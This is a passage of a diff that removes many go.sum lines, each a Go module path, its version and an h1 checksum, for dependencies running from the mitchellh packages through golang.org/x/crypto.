h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw= -github.com/mitchellh/copystructure v1.0.0/go.mod h1:SNtv71yrdKgLRyLFxmLdkAbkKEFWgYaq1OVrnRcwhnw= -github.com/mitchellh/copystructure v1.2.0 h1:vpKXTN4ewci03Vljg/q9QvCGUDttBOGBIa15WveJJGw= -github.com/mitchellh/copystructure v1.2.0/go.mod h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s= -github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= -github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y= -github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= -github.com/mitchellh/go-linereader v0.0.0-20190213213312-1b945b3263eb h1:GRiLv4rgyqjqzxbhJke65IYUf4NCOOvrPOJbV/sPxkM= -github.com/mitchellh/go-linereader v0.0.0-20190213213312-1b945b3263eb/go.mod h1:OaY7UOoTkkrX3wRwjpYRKafIkkyeD0UtweSHAWWiqQM= -github.com/mitchellh/go-testing-interface v0.0.0-20171004221916-a61a99592b77/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI= -github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI= -github.com/mitchellh/go-testing-interface v1.0.4 h1:ZU1VNC02qyufSZsjjs7+khruk2fKvbQ3TwRV/IBCeFA= -github.com/mitchellh/go-testing-interface v1.0.4/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI= -github.com/mitchellh/go-wordwrap v0.0.0-20150314170334-ad45545899c7/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= -github.com/mitchellh/go-wordwrap v1.0.0/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= -github.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQflz0v0= -github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= -github.com/mitchellh/gox v1.0.1 h1:x0jD3dcHk9a9xPSDN6YEL4xL6Qz0dvNYm8yZqui5chI= -github.com/mitchellh/gox v1.0.1/go.mod h1:ED6BioOGXMswlXa2zxfh/xdd5QhwYliBFn9V18Ap4z4= -github.com/mitchellh/iochan v1.0.0 h1:C+X3KsSTLFVBr/tK1eYN/vs4rJcvsiLU338UhYPJWeY= -github.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY= -github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= -github.com/mitchellh/mapstructure v1.1.2 h1:fmNYVwqnSfB9mZU6OS2O6GsXM+wcskZDuKQzvN1EDeE= -github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= -github.com/mitchellh/reflectwalk v1.0.0/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw= -github.com/mitchellh/reflectwalk v1.0.2 h1:G2LzWKi524PWgd3mLHV8Y5k7s6XUvT0Gef6zxSIeXaQ= -github.com/mitchellh/reflectwalk v1.0.2/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw= -github.com/moby/spdystream v0.2.0/go.mod h1:f7i0iNDQJ059oMTcWxx8MA/zKFIuD/lY+0GqbN2Wy8c= -github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= -github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= -github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= -github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= -github.com/modern-go/reflect2 v1.0.1 h1:9f412s+6RmYXLWZSEzVVgPGK7C2PphHj5RJrvfx9AWI= -github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= -github.com/mozillazg/go-httpheader v0.2.1/go.mod h1:jJ8xECTlalr6ValeXYdOF8fFUISeBAdw6E61aqQma60= -github.com/mozillazg/go-httpheader v0.3.0 h1:3brX5z8HTH+0RrNA1362Rc3HsaxyWEKtGY45YrhuINM= -github.com/mozillazg/go-httpheader v0.3.0/go.mod h1:PuT8h0pw6efvp8ZeUec1Rs7dwjK08bt6gKSReGMqtdA= -github.com/munnerz/goautoneg v0.0.0-20120707110453-a547fc61f48d/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= -github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= -github.com/mxk/go-flowrate v0.0.0-20140419014527-cca7078d478f/go.mod h1:ZdcZmHo+o7JKHSa8/e818NopupXU1YMK5fe1lsApnBw= -github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno= -github.com/nishanths/exhaustive v0.2.3 h1:+ANTMqRNrqwInnP9aszg/0jDo+zbXa4x66U19Bx/oTk= -github.com/nishanths/exhaustive v0.2.3/go.mod h1:bhIX678Nx8inLM9PbpvK1yv6oGtoP8BfaIeMzgBNKvc= -github.com/nsf/jsondiff v0.0.0-20200515183724-f29ed568f4ce/go.mod h1:uFMI8w+ref4v2r9jz+c9i1IfIttS/OkmLfrk1jne5hs= -github.com/nu7hatch/gouuid v0.0.0-20131221200532-179d4d0c4d8d h1:VhgPp6v9qf9Agr/56bj7Y/xa04UccTW04VP0Qed4vnQ= -github.com/nu7hatch/gouuid v0.0.0-20131221200532-179d4d0c4d8d/go.mod h1:YUTz3bUH2ZwIWBy3CJBeOBEugqcmXREj14T+iG/4k4U= -github.com/oklog/run v1.0.0 h1:Ru7dDtJNOyC66gQ5dQmaCa0qIsAUFY3sFpK1Xk8igrw= -github.com/oklog/run v1.0.0/go.mod h1:dlhp/R75TPv97u0XWUtDeV/lRKWPKSdTuV0TZvrmrQA= -github.com/olekukonko/tablewriter v0.0.0-20170122224234-a0225b3f23b5/go.mod h1:vsDQFd/mU46D+Z4whnwzcISnGGzXWMclvtLoiIKAKIo= -github.com/onsi/ginkgo v0.0.0-20170829012221-11459a886d9c/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= -github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= -github.com/onsi/ginkgo v1.11.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= -github.com/onsi/gomega v0.0.0-20170829124025-dcabb60a477c/go.mod h1:C1qb7wdrVGGVU+Z6iS04AVkA3Q65CEZX59MT0QO5uiA= -github.com/onsi/gomega v1.7.0/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY= -github.com/packer-community/winrmcp v0.0.0-20180921211025-c76d91c1e7db h1:9uViuKtx1jrlXLBW/pMnhOfzn3iSEdLase/But/IZRU= -github.com/packer-community/winrmcp v0.0.0-20180921211025-c76d91c1e7db/go.mod h1:f6Izs6JvFTdnRbziASagjZ2vmf55NSIkC/weStxCHqk= -github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c h1:Lgl0gzECD8GnQ5QCWA8o6BtfL6mDH5rQgM4/fX3avOs= -github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= -github.com/peterbourgon/diskv v2.0.1+incompatible/go.mod h1:uqqh8zWWbv1HBMNONnaR/tNboyR3/BZd58JJSHlUSCU= -github.com/pkg/browser v0.0.0-20201207095918-0426ae3fba23 h1:dofHuld+js7eKSemxqTVIo8yRlpRw+H1SdpzZxWruBc= -github.com/pkg/browser v0.0.0-20201207095918-0426ae3fba23/go.mod h1:N6UoU20jOqggOuDwUaBQpluzLNDqif3kq9z2wpdYEfQ= -github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= -github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= -github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= -github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= -github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= -github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI= -github.com/posener/complete v1.2.3 h1:NP0eAhjcjImqslEwo/1hq7gpajME0fTLTezBKDqfXqo= -github.com/posener/complete v1.2.3/go.mod h1:WZIdtGGp+qx0sLrYKtIRAruyNpv6hFCicSgv7Sy7s/s= -github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= -github.com/prometheus/client_golang v1.0.0 h1:vrDKnkGzuGvhNAL56c7DBz29ZL+KxnoR0x7enabFceM= -github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo= -github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= -github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= -github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4 h1:gQz4mCbXsO+nc9n1hCxHcGA3Zx3Eo+UHZoInFGUIXNM= -github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= -github.com/prometheus/common v0.4.1 h1:K0MGApIoQvMw27RTdJkPbr3JZ7DNbtxQNyi5STVM6Kw= -github.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= -github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= -github.com/prometheus/procfs v0.0.2 h1:6LJUbpNm42llc4HRCuvApCSWB/WfhuNo9K98Q9sNGfs= -github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= -github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg= -github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= -github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= -github.com/satori/go.uuid v1.2.0 h1:0uYX9dsZ2yD7q2RtLRtPSdGDWzjeM3TbMJP9utgA0ww= -github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= -github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529 h1:nn5Wsu0esKSJiIVhscUtVbo7ada43DJhG55ua/hjS5I= -github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= -github.com/sebdah/goldie v1.0.0/go.mod h1:jXP4hmWywNEwZzhMuv2ccnqTSFpuq8iyQhtQdkkZBH4= -github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo= -github.com/sergi/go-diff v1.1.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM= -github.com/sergi/go-diff v1.2.0 h1:XU+rvMAioB0UC3q1MFrIQy4Vo5/4VsRDQQXHsEya6xQ= -github.com/sergi/go-diff v1.2.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM= -github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo= -github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q= -github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= -github.com/sirupsen/logrus v1.7.0 h1:ShrD1U9pZB12TX0cVy0DtePoCH97K8EtX+mg7ZARUtM= -github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= -github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d h1:zE9ykElWQ6/NYmHa3jpm/yHnI4xSofP+UP6SpjHcSeM= -github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc= -github.com/smartystreets/goconvey v0.0.0-20180222194500-ef6db91d284a h1:JSvGDIbmil4Ui/dDdFBExb7/cmkNjyX5F97oglmvCDo= -github.com/smartystreets/goconvey v0.0.0-20180222194500-ef6db91d284a/go.mod h1:XDJAKZRPZ1CvBcN2aX5YOUTYGHki24fSF0Iv48Ibg0s= -github.com/soheilhy/cmux v0.1.4 h1:0HKaf1o97UwFjHH9o5XsHUOF+tqmdA7KEzXLpiyaw0E= -github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM= -github.com/spf13/afero v1.2.2 h1:5jhuqJyZCZf2JRofRvN/nIFgIWNzPa3/Vz8mYylgbWc= -github.com/spf13/afero v1.2.2/go.mod h1:9ZxEEn6pIJ8Rxe320qSDBk6AsU0r9pR7Q4OcevTdifk= -github.com/spf13/cobra v0.0.3/go.mod h1:1l0Ry5zgKvJasoi3XT1TypsSe7PqH0Sj9dhYf7v3XqQ= -github.com/spf13/pflag v0.0.0-20170130214245-9ff6c6923cff/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= -github.com/spf13/pflag v1.0.1/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= -github.com/spf13/pflag v1.0.2/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= -github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= -github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= -github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= -github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= -github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= -github.com/stretchr/objx v0.2.0 h1:Hbg2NidpLE8veEBkEZTL3CvlkUIVzuU9jDplZO54c48= -github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE= -github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= -github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= -github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= -github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= -github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY= -github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common v1.0.194/go.mod h1:7sCQWVkxcsR38nffDW057DRGk8mUjK1Ing/EFOK8s8Y= -github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common v1.0.232 h1:kwsWbh4rEw42ZDe9/812ebhbwNZxlQyZ2sTmxBOKhN4= -github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common v1.0.232/go.mod h1:7sCQWVkxcsR38nffDW057DRGk8mUjK1Ing/EFOK8s8Y= -github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/kms v1.0.194/go.mod h1:yrBKWhChnDqNz1xuXdSbWXG56XawEq0G5j1lg4VwBD4= -github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/tag v1.0.233 h1:5Tbi+jyZ2MojC6GK8V6hchwtnkP2IuENUTqSisbYOlA= -github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/tag v1.0.233/go.mod h1:sX14+NSvMjOhNFaMtP2aDy6Bss8PyFXij21gpY6+DAs= -github.com/tencentyun/cos-go-sdk-v5 v0.7.29 h1:uwRBzc70Wgtc5iQQCowqecfRT0OpCXUOZzodZHOOEDs= -github.com/tencentyun/cos-go-sdk-v5 v0.7.29/go.mod h1:4E4+bQ2gBVJcgEC9Cufwylio4mXOct2iu05WjgEBx1o= -github.com/tmc/grpc-websocket-proxy v0.0.0-20200427203606-3cfed13b9966 h1:j6JEOq5QWFker+d7mFQYOhjTZonQ7YkLTHm56dbn+yM= -github.com/tmc/grpc-websocket-proxy v0.0.0-20200427203606-3cfed13b9966/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U= -github.com/tombuildsstuff/giovanni v0.15.1 h1:CVRaLOJ7C/eercCrKIsarfJ4SZoGMdBL9Q2deFDUXco= -github.com/tombuildsstuff/giovanni v0.15.1/go.mod h1:0TZugJPEtqzPlMpuJHYfXY6Dq2uLPrXf98D2XQSxNbA= -github.com/ulikunitz/xz v0.5.8 h1:ERv8V6GKqVi23rgu5cj9pVfVzJbOqAY2Ntl88O6c2nQ= -github.com/ulikunitz/xz v0.5.8/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14= -github.com/urfave/cli v1.20.0/go.mod h1:70zkFmudgCuE/ngEzBv17Jvp/497gISqfk5gWijbERA= -github.com/vmihailenco/msgpack v3.3.3+incompatible/go.mod h1:fy3FlTQTDXWkZ7Bh6AcGMlsjHatGryHQYUTf1ShIgkk= -github.com/vmihailenco/msgpack v4.0.4+incompatible h1:dSLoQfGFAo3F6OoNhwUmLwVgaUXK79GlxNBwueZn0xI= -github.com/vmihailenco/msgpack v4.0.4+incompatible/go.mod h1:fy3FlTQTDXWkZ7Bh6AcGMlsjHatGryHQYUTf1ShIgkk= -github.com/vmihailenco/msgpack/v4 v4.3.12 h1:07s4sz9IReOgdikxLTKNbBdqDMLsjPKXwvCazn8G65U= -github.com/vmihailenco/msgpack/v4 v4.3.12/go.mod h1:gborTTJjAo/GWTqqRjrLCn9pgNN+NXzzngzBKDPIqw4= -github.com/vmihailenco/tagparser v0.1.1 h1:quXMXlA39OCbd2wAdTsGDlK9RkOk6Wuw+x37wVyIuWY= -github.com/vmihailenco/tagparser v0.1.1/go.mod h1:OeAg3pn3UbLjkWt+rN9oFYB6u/cQgqMEUPoW2WPyhdI= -github.com/xanzy/ssh-agent v0.3.0/go.mod h1:3s9xbODqPuuhK9JV1R321M/FlMZSBvE5aY6eAcqrDh0= -github.com/xanzy/ssh-agent v0.3.1 h1:AmzO1SSWxw73zxFZPRwaMN1MohDw8UyHnmuxyceTEGo= -github.com/xanzy/ssh-agent v0.3.1/go.mod h1:QIE4lCeL7nkC25x+yA3LBIYfwCc1TFziCtG7cBAac6w= -github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2 h1:eY9dn8+vbi4tKz5Qo6v2eYzo7kUS51QINcR5jNpbZS8= -github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU= -github.com/xlab/treeprint v0.0.0-20161029104018-1d6e34225557 h1:Jpn2j6wHkC9wJv5iMfJhKqrZJx3TahFx+7sbZ7zQdxs= -github.com/xlab/treeprint v0.0.0-20161029104018-1d6e34225557/go.mod h1:ce1O1j6UtZfjr22oyGxGLbauSBp2YVXpARAosm7dHBg= -github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= -github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= -github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= -github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= -github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= -github.com/yuin/goldmark v1.4.0/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= -github.com/zclconf/go-cty v1.0.0/go.mod h1:xnAOWiHeOqg2nWS62VtQ7pbOu17FtxJNW8RLEih+O3s= -github.com/zclconf/go-cty v1.1.0/go.mod h1:xnAOWiHeOqg2nWS62VtQ7pbOu17FtxJNW8RLEih+O3s= -github.com/zclconf/go-cty v1.2.0/go.mod h1:hOPWgoHbaTUnI5k4D2ld+GRpFJSCe6bCM7m1q/N4PQ8= -github.com/zclconf/go-cty v1.2.1/go.mod h1:hOPWgoHbaTUnI5k4D2ld+GRpFJSCe6bCM7m1q/N4PQ8= -github.com/zclconf/go-cty v1.8.0/go.mod h1:vVKLxnk3puL4qRAv72AO+W99LUD4da90g3uUAzyuvAk= -github.com/zclconf/go-cty v1.8.4/go.mod h1:vVKLxnk3puL4qRAv72AO+W99LUD4da90g3uUAzyuvAk= -github.com/zclconf/go-cty v1.10.0 h1:mp9ZXQeIcN8kAwuqorjH+Q+njbJKjLrvB2yIh4q7U+0= -github.com/zclconf/go-cty v1.10.0/go.mod h1:vVKLxnk3puL4qRAv72AO+W99LUD4da90g3uUAzyuvAk= -github.com/zclconf/go-cty-debug v0.0.0-20191215020915-b22d67c1ba0b h1:FosyBZYxY34Wul7O/MSKey3txpPYyCqVO5ZyceuQJEI= -github.com/zclconf/go-cty-debug v0.0.0-20191215020915-b22d67c1ba0b/go.mod h1:ZRKQfBXbGkpdV6QMzT3rU1kSTAnfu1dO8dPKjYprgj8= -github.com/zclconf/go-cty-yaml v1.0.2 h1:dNyg4QLTrv2IfJpm7Wtxi55ed5gLGOlPrZ6kMd51hY0= -github.com/zclconf/go-cty-yaml v1.0.2/go.mod h1:IP3Ylp0wQpYm50IHK8OZWKMu6sPJIUgKa8XhiVHura0= -go.etcd.io/bbolt v1.3.3 h1:MUGmc65QhB3pIlaQ5bB4LwqSj6GIonVJXpZiaKNyaKk= -go.etcd.io/bbolt v1.3.3/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU= -go.etcd.io/etcd v0.5.0-alpha.5.0.20210428180535-15715dcf1ace h1:wOZR+AfzmQYNRqx1F+LL9TX8vBVzSbndRoc0tr/Bp4k= -go.etcd.io/etcd v0.5.0-alpha.5.0.20210428180535-15715dcf1ace/go.mod h1:q+i20RPAmay+xq8LJ3VMOhXCNk4YCk3V7QP91meFavw= -go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= -go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= -go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= -go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= -go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= -go.opencensus.io v0.22.5/go.mod h1:5pWMHQbX5EPX2/62yrJeAkowc+lfs/XD7Uxpq3pI6kk= -go.opencensus.io v0.23.0 h1:gqCw0LfLxScz8irSi8exQc7fyQ0fKQU/qnC/X8+V/1M= -go.opencensus.io v0.23.0/go.mod h1:XItmlyltB5F7CS4xOC1DcqMoFqwtC6OG2xF7mCv7P7E= -go.uber.org/atomic v1.3.2 h1:2Oa65PReHzfn29GpvgsYwloV9AVFHPDk8tYxt2c2tr4= -go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= -go.uber.org/multierr v1.1.0 h1:HoEmRHQPVSqub6w2z2d2EOVs2fjyFRGyofhKuyDq0QI= -go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0= -go.uber.org/zap v1.10.0 h1:ORx85nbTijNz8ljznvCMR1ZBIPKFn3jQrag10X2AsuM= -go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= -golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= -golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= -golang.org/x/crypto v0.0.0-20190219172222-a4c6cb3142f2/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= -golang.org/x/crypto v0.0.0-20190222235706-ffb98f73852f/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= -golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= -golang.org/x/crypto v0.0.0-20190426145343-a29dc8fdc734/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/crypto v0.0.0-20190611184440-5c40567a22f8/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/crypto v0.0.0-20190923035154-9ee001bba392/go.mod h1:/lpIB1dKB+9EgE3H3cr1v9wB50oz8l4C4h62xy7jSTY= -golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/crypto v0.0.0-20191202143827-86a70503ff7e/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= -golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= -golang.org/x/crypto v0.0.0-20200820211705-5c72a883971a/go.mod 